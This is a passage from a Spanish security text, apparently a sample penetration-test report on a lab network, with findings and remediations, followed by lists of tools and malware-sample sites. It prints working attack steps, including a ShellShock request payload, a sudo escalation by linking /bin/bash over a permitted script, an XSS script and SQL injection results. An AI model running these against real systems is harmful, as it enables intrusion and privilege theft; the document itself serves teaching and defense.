mediante la ejecución de ataques no contemplados en el transcurso de la revisión pudiera descubrir
o explotar vulnerabilidades adicionales.
88
Objetivo y alcance
Objetivo
El objetivo de la revisión ha consistido en la valoración del nivel de riesgo de la infraestructura
de la Compañı́a desde el punto de vista de un atacante sin conocimiento previo de los sistemas (caja
negra), identificando las vulnerabilidades de los equipos desplegados y proponiendo una estrategia
de remediación, cuya aplicación es responsabilidad exclusiva de la Compañı́a.
Alcance
Se ha contemplado en el alcance de la revisión la ejecución de pruebas técnicas, sin limitaciones
de ningún tipo, del rango de IPs 192.168.1.0/24.
89
Resumen ejecutivo
Conclusiones generales
A partir de las pruebas realizadas, considerando tanto la criticidad como el volumen de vulnera-
bilidades identificadas en los sistemas en el alcance, ası́ como la valoración del auditor, se concluye
que los sistemas auditados tienen un nivel de riesgo alto para el escenario contemplado en la
auditorı́a.
No obstante, el nivel de seguridad mejorarı́a sustancialmente en caso de aplicar las medidas de
corrección y mitigación propuestas en el transcurso del informe.
Principales vulnerabilidades
Las principales vulnerabilidades identificadas en el transcurso de la revisión son:
90
Recomendaciones generales
Consierando las vulnerabilidades detactadas, las principales recomendaciones de cara a la re-
mediación y mitigación del riesgo de la plataforma auditada son:
Validación de cualquier input del usuario, restringiendo adecuadamente los posibles valores
introducidos.
• seguras
• soportadas por el desarrollador
• sin vulnerabilidades conocidas
En las siguientes secciones se detalla, para cada una de las vulnerabilidades detectadas, el plan
de remediación propuesto.
91
Trabajo realizado
En el transcurso del proyecto se han llevado a cabo las principales fases definidas para las
auditorı́as de seguridad según diferentes metodologı́as y estándares de reconocido prestigio, entre
las que cabe destacar:
4. Explotación de vulnerabilidades.
Para llevar a cabo estas tareas se han realizado análisis mediante herramientas automáticas y
manuales.
92
Informe técnico
SSH (tcp/22)
SMTP (tcp/25)
HTTP (tcp/80)
POP3 (tcp/110)
IMAP (tcp/143)
192.168.1.110
FTP (tcp/21)
SSH (tcp/22)
HTTP (tcp/80)
192.168.1.120
FTP (tcp/21)
SSH (tcp/22)
HTTP (tcp/80)
HTTPS (tcp/443)
MySQL (tcp/3306)
93
Detalles de las vulnerabilidades identificadas
MCS-01-A - ShellShock
Riesgo:
Alto (CVSS 10,0)
Sistemas afectados:
192.168.1.120 (tcp/80; TCP/443)
Descripción:
El servidor web está afectado por una vulnerabilidad de ejecución remota de código arbitrario
debido a un error en la versión de Bash desplegada, explotable mediante peticiones CGI especial-
mente preparadas como la siguiente:
GET / cgi - bin / test - cgi HTTP /1.1
Host : 192.168.1.120
Accept - Charset : iso -8859 -1 , utf -8; q =0.9 ,*; q =0.1
Accept - Language : en
Connection : Close
User - Agent : () { ignored ; }; echo Content - Type : text / plain ; echo ; echo ;
/ usr / bin / id ;
Pragma : no - cache
Accept : image / gif , image /x - xbitmap , image / jpeg , image / pjpeg , image / png , */*
Resolución:
Actualizar bash a la última versión y aplicar los parches publicados para mitigar esta vulnera-
bilidad.
94
MCS-02-A - Inyección de código SQL
Riesgo:
Alto (CVSS 10)
Sistemas afectados:
192.168.1.120
Descripción:
Mediante la inclusión de código no sanitizado en la siguiente petición GET:
http ://192.168.1.120/ products . php ? id =1
Ha sido posible la inyección de comandos SQL en la base de datos, consiguiendo extraer infor-
mación sensible de la compañı́a, entre la que cabe destacar:
1. Esquema completo de la base de datos, junto a todas sus tablas
2. Identificadores de todos los usuarios de la base de datos, junto a sus permisos
3. Hash de las contraseñas de los usuarios de la base de datos
Adicionalmente, dado que el usuario webapp de la base de datos es administrador, y como tal
dispone de permisos avanzados:
[*] ’ webapp ’@ ’ localhost ’ ( administrator ) [27]:
privilege : ALTER
privilege : ALTER ROUTINE
privilege : CREATE
privilege : CREATE ROUTINE
privilege : CREATE TEMPORARY TABLES
privilege : CREATE USER
privilege : CREATE VIEW
privilege : DELETE
privilege : DROP
privilege : EVENT
privilege : EXECUTE
privilege : FILE
privilege : INDEX
privilege : INSERT
privilege : LOCK TABLES
privilege : PROCESS
privilege : REFERENCES
privilege : RELOAD
privilege : REPLICATION CLIENT
privilege : REPLICATION SLAVE
privilege : SELECT
privilege : SHOW DATABASES
privilege : SHOW VIEW
privilege : SHUTDOWN
privilege : SUPER
privilege : TRIGGER
privilege : UPDATE
95
Con estos permisos hubiera sido posible introducir o modificar datos de forma arbitraria me-
diante la inyección de código (afectando a la integridad de la base de datos y/o creando usuarios
adicionales para garantizar el acceso futuro) o realizar una denegación de servicio eliminando toda
la información de la base de datos.
Resolución:
Se debe sanitizar cualquier entrada de datos del usuario, independientemente del método utili-
zado.
Para ello se debe analizar la información esperada (en este caso, identificadores numéricos),
descartando cualquier contenido no numérico en la variable id.
10
96
MCS-03-A - Software desplegado obsoleto
Riesgo:
Alto (CVSS 10)
Sistemas afectados:
192.168.1.100
Descripción:
Las versiones de Apache (2.0.55) y PHP (5.1.2) desplegadas en el servidor son vulnerables a
diferentes ataques que podrı́an comprometer la confidencilidad e integridad de los datos, ası́ como
la disponibilidad del servicio.
El software desplegado ya no se encuentra soportado por sus desarrolladores, y por lo tanto no
recibirá actualizaciones de seguridad para las vulnerabilidades detectadas posteriormente a la fecha
de fin de vida.
root@kali :~# telnet 192.168.1.100 80
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is ’^] ’.
GET / HTTP /1.1
(...)
Resolución:
Actualizar o migrar las aplicaciones a versiones mantenidas por los desarrolladores, que no estén
afectadas por vulnerabilidades conocidas.
11
97
MCS-04-A - Software desplegado no actualizado
Riesgo:
Alto (CVSS 10)
Sistemas afectados:
192.168.1.110
Descripción:
Las versiones de Apache (2.2.4) y OpenSSL (0.9.8b) desplegadas en el servidor están afectadas
por vulnerabilidades conocidas que podrı́an comprometer la confidencilidad e integridad de los
datos, ası́ como la disponibilidad del servicio.
Estas vulnerabilidades han sido solventadas en versiones posteriores de las aplicaciones.
root@kali :~# telnet 192.168.1.110 80
Trying 192.168.1.110...
Connected to 192.168.1.110.
Escape character is ’^] ’.
GET / HTTP /1.1
Resolución:
Actualizar las aplicaciones a versiones posteriores facilitadas por los desarrolladores que no estén
afectadas por vulnerabilidades conocidas.
12
98
MCS-05-A - Escalada local de privilegios a root
Riesgo:
Alto (CVSS 8,5)
Sistemas afectados:
192.168.1.120
Descripción:
Mediante los permisos de “sudo” del usuario ccoffee:
ccoffee@slax :~ $ sudo -l
User ccoffee may run the following commands on this host :
( root ) NOPASSWD : / home / ccoffee / scripts / getlogs . sh
Se ha procedido a modificar el fichero (para el que el usuario dispone de permisos) para acceder,
con permisos de root en una sesión de terminal local:
ccoffee@slax :~/ scripts$ cp getlogs . sh getlogs_backup . sh
ccoffee@slax :~/ scripts$ rm getlogs . sh
rm : remove write - protected regular file ‘ getlogs . sh ’? y
ccoffee@slax :~/ scripts$ ln / bin / bash getlogs . sh
ccoffee@slax :~/ scripts$ sudo / home / ccoffee / scripts / getlogs . sh
root@slax :~/ scripts # mv getlogs_backup . sh getlogs . sh
Resolución:
En caso de asignar permisos de “sudo” especı́fico a usuarios o grupos puntuales, se debe garan-
tizar que el objeto no es modificable a través de los permisos del sistema de ficheros, evitando la
modificación o sustitución del objeto por uno potencialmente peligroso.
13
99
MCS-06-A - FTP desplegado con el usuario anonymous habilitado
Riesgo:
Alto (CVSS 7,8)
Sistemas afectados:
192.168.1.110; 192.168.1.120
Descripción:
Se ha identificado el uso de FTPs con login anónimo habilitado:
ftp > open 192.168.1.110 21
Connected to 192.168.1.110.
220 ( vsFTPd 2.0.4)
Name (192.168.1.110: root ) : anonymous
331 Please specify the password .
Password :
230 Login successful .
Resolución:
Para servicios de uso eminentemente interno, se debe deshabilitar el acceso mediante usuario
anónimo. En caso de ser necesario por requisitos de negocio, se limitará de forma muy estricta la
visibilidad de ficheros por parte de usuarios no corporativos.
14
100
MCS-07-A - Ejecución de servicios por parte de usuarios con permisos avanzados
Riesgo:
Alto (CVSS 7,1)
Sistemas afectados:
192.168.1.100; 192.168.1.120
Descripción:
Se ha identificado el uso de usuarios administradores (tanto de sistema operativo como de base
de datos) ejecutando servicios públicos, incrementando el impacto de cualquier vulnerabilidad en
el servicio.
Cabe destacar:
192.168.1.100: el usuario de cifrado de los ficheros FTP entrantes está vinculado a las creden-
ciales del usuario root:
bbanter@slax :~ $ cat / etc / passwd
root : x :0:0: DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION :/ root :/ bin / bash
Resolución:
Se deben crear usuarios especı́ficos para la ejecución de servicios del sistema que tengan los
mı́nimos permisos necesarios para acometer sus funciones.
15
101
MCS-08-M - Cross Site Scripting (XSS) persistente
Riesgo:
Medio (CVSS 5,0)
Sistemas afectados:
192.168.1.120
Descripción:
Se ha identificado una vulnerabilidad del tipo XSS, que permite la ejecución de código en el
navegador del usuario. Cabe destacar que se trata de una vulnerabilidad persistente (en contrapo-
sición a reflejada), ya que se almacenan los datos en el la base de datos, incrementando el potencial
impacto y persistencia del ataque.
Ha sido posible inyectar y consultar cookies del usuario mediante la inyección del siguiente
código en los campos del formulario de alta de productos:
< script > document . cookie = ’ SID = test ’; </ script >
Resolución:
Identificar los posibles inputs para cada uno de los campos, cuyos carácteres serán los únicos
aceptados y tratados por el back-end.
Adicionalmente, se deberán filtrar secuencias de caracteres problemáticas (como por ejemplo
<script> y </script>), ası́ como sus codificaciones.
16
102
MCS-09-M - Protección insuficiente de las credenciales de usuario
Riesgo:
Medio (CVSS 4,3)
Sistemas afectados:
192.168.1.100; 192.168.1.110; 192.168.1.120
Descripción:
No se han identificado medidas básicas de protección de las credenciales de usuario, entre las
que se destacan:
Complejidad de las contraseñas: se han identificado credenciales triviales entre los usuarios
de los distintos sistemas.
Medidas de prevención de ataques de fuerza bruta: es posible realizar ataques de fuerza bruta
sobre la plataforma, siendo factible el descubrimiento de credenciales de usuario.
Resolución:
Implementar polı́ticas de complejidad de contraseña para los usuarios de los sistemas y servicios,
que deben ser suficientemente largas e incluir al menos tres de las siguientes:
Letras mayúsculas
Letras minúsculas
Números
Caracteres especiales
Bloqueo de cuentas tras n intentos fallidos, siendo n un valor suficientemente bajo (p.ej.: 5)
17
103
MCS-10-B - Uso de protocolos inseguros
Riesgo:
Bajo (CVSS 2,9)
Sistemas afectados:
192.168.1.100 (FTP1 , SSH); 192.168.1.110 (FTP); 192.168.1.120 (FTP)
Descripción:
Se ha identificado el uso del protocolo de comunicaciones FTP (File Transfer Portocol ) en la
infraestructura desplegada. Este protocolo no implementa medidas para garantizar la confidencia-
lidad de las comunicaciones, transmitiendo las credenciales y toda la información transmitida en
claro en la red, incrementando el riesgo del robo de credenciales y la fuga de información en caso
de ataques del tipo MiTM (Man in the Middle) o de escucha del medio (sniffing).
Adicionalmente, el servidor FTP de la IP 192.168.1.110 permite el comando PORT, que facili-
tarı́a el uso de este servicio para realizar escaneos de puertos de red desde un terminal considerado
confiable.
Por otra parte, el servidor 192.168.1.100 permite la versión 1 del protocolo SSH, que se considera
vulnerable y está afectado por las mismas debilidades descritas para FTP.
Resolución:
Valorar la migración del servicio FTP a alternativas seguras, como por ejemplo SFTP (SSH
File Transfer Protocol ) o FTPS (FTP sobre SSL/TLS ).
Para el servicio SSH, se deben aceptar únicamente versiones consideradas seguras (como SSHv2),
deshabilitando especı́ficamente la versión 1 del protocolo.
1
En el momento de la prueba el servicio estaba activo pero no operativo.
18
104
MCS-11-B - Uso de certificados no confiables
Riesgo:
Bajo (CVSS 2,9)
Sistemas afectados:
192.168.1.100; 192.168.1.120
Descripción:
Se han identificado certificados no confiables desplegados en la plataforma, con las siguientes
debilidades:
1. Certificados caducados
3. Firma electrónica del certificado debil, que no garantiza su autenticidad (p.ej.: RC4)
4. Certificados auto-firmados
Resolución:
Desplegar para todos los servicios que requieran de cifrado certificados confiables, vigentes y
firmados por una entidad certificadora de confianza.
19
105
MCS-12-B - Fuga de información
Riesgo:
Bajo (CVSS N/A)
Sistemas afectados:
192.168.1.100; 192.168.1.110; 192.168.1.120
Descripción:
Se han identificado diferentes datos de la infraestructura publicada mediante el análisis de:
Banners de servicio:
root@kali :~# telnet 192.168.1.100 80
(...)
GET / HTTP /1.1
Mensajes de error:
t@kali :~# telnet 192.168.1.100 80
(...)
<! DOCTYPE HTML PUBLIC " -// IETF // DTD HTML 2.0// EN " >
< html > < head >
< title >400 Bad Request </ title >
</ head > < body >
(...)
< address > Apache /2.0.55 ( Unix ) PHP /5.1.2 Server at slax . example . net Port
80 </ address >
</ body > </ html >
Resolución:
Se deben modificar los banners y mensajes de error por defecto de todos los servicios publicados,
de forma que no se ofrezca información de la infraestructura a potenciales atacantes.
20
106
Anexo: Valoración del riesgo
Donde cada letra o conjunto de letras es una abreviatura de una métrica o su valoración. Estas
abreviaturas se definen a continuación:
Posibles valores:
• L = acceso local
• A = Red adyacente
• N = Internet
Posibles valores:
• H = Alta
• M = Mediano
• L = Bajo
Posibles valores:
• N = No se requiere
• S = Requiere única instancia
• M = Requiere varias instancias
Posibles valores:
21
107
• N = No
• P = parcial
• C = Completa
Posibles valores:
• N = No
• P = parcial
• C = Completa
Posibles valores:
• N = No
• P = parcial
• C = Completa
Vulnerabilidades con CVSS base entre 4.0 y 6.9 se consideran de severidad “Media”
Vulnerabilidades con CVSS base entre 0.0 y 3.9 se consideran de severidad “Baja”
22
108
C.6. Aplicaciones móviles
C.6.1. Herramientas
Los emuladores disponibles para las diferentes plataformas (provistos por el fabri-
cante o desarrollador del Sistema Operativo):
• iOS (https://developer.apple.com/xcode/)
• Android (https://developer.android.com/sdk/index.html)
• Windows Phone (https://dev.windows.com/en-us/downloads)
• iOS (https://developer.apple.com/library/ios/navigation/)
• Android (https://developer.android.com/reference/packages.html)
• Windows Phone (https://msdn.microsoft.com/library/windows/apps/bg124285.
aspx)
• Santoku (https://santoku-linux.com/)
• MobiSec (http://sourceforge.net/projects/mobisec/)
109
SANS Insitute recopiló en un blog post13 en análisis de aplicaciones web y las herra-
mientas con las que realizarlo. Si bien no es reciente, las técnicas y herramientas principales
deberían perdurar.
InsecureBank (http://www.paladion.net/downloadapp.html)
C.7. Reversing
C.7.1. Herramientas
Las principales herramientas con las que se llevan a cabo las tareas de reversing son
los debuggers, algunos de los cuales son muy avanzados y permiten la descompilación de
los binarios.
110
Para Unix:
• gdb (https://www.gnu.org/software/gdb/)
• Radare2 (http://radare.org)
Para Windows:
• IDA (https://www.hex-rays.com/products/ida/index.shtml)
• OllyDbg (http://www.ollydbg.de/)
Los retos de reversing se suelen llamar “crackmes”, siendo una de las fuentes más
interesante la web http://crackmes.de/, en la que los miembros pueden proponer retos
a otros usuarios de la misma.
Contagio (http://contagiodump.blogspot.com/)
VX Heaven (http://vxheaven.org/)
111
Figura C.4: Mindmap de revisión de código por Aman Hardikar
VXVault (http://vxvault.siri-urz.net)
MalShare (http://malshare.com/)
Virusign (http://www.virusign.com/)
malc0de (http://malc0de.com/database/)
MalwareBlacklist.com (http://www.malwareblacklist.com)
112
CLEAN MX realtime database (http://support.clean-mx.de/clean-mx/viruses.
php)
maltrieve (http://maltrieve.org/)
HoneyDrive (http://bruteforce.gr/honeydrive)
C.8. Forensics
C.8.1. Herramientas
SANS tiene en su web una sección dedicada a cheat-sheets de análisis forense digital
(https://digital-forensics.sans.org/community/cheat-sheets).
A nivel de dispositivo:
17
https://digital-forensics.sans.org/community/downloads
18
http://www.kali.org/
19
http://tools.kali.org/tools-listing
20
http://amanhardikar.com/mindmaps/Forensics.html
21
http://amanhardikar.com/mindmaps/ForensicChallenges.html
113
Figura C.5: Mindmap de análisis forenses por Aman Hardikar
114
• DigitalCorpora (http://digitalcorpora.org/)
• Digital Forensics Tool Testing Images (http://dftt.sourceforge.net/)
• DFRWS 2014 Forensics Rodeo (http://www.cs.uno.edu/~golden/dfrws-2014-rodeo.
html)
• Linux LEO Supplemental Files (http://linuxleo.com/)
• volatility memory samples (https://code.google.com/p/volatility/wiki/
FAQ)
• ISFCE Sample Practical Exercise (http://www.isfce.com/sample-pe.htm)
• ForGe Forensic test image generator (https://github.com/hannuvisti/forge)
A nivel de red:
C.9. Ciberinteligencia
C.9.1. Herramientas
115
SNORT (https://www.snort.org/)
Suricata (http://suricata-ids.org/)
Ambos open source y con reglas de detección disponibles para la comunidad (si bien hay
que suscribirse a un feed de pago para tener las últimas).
116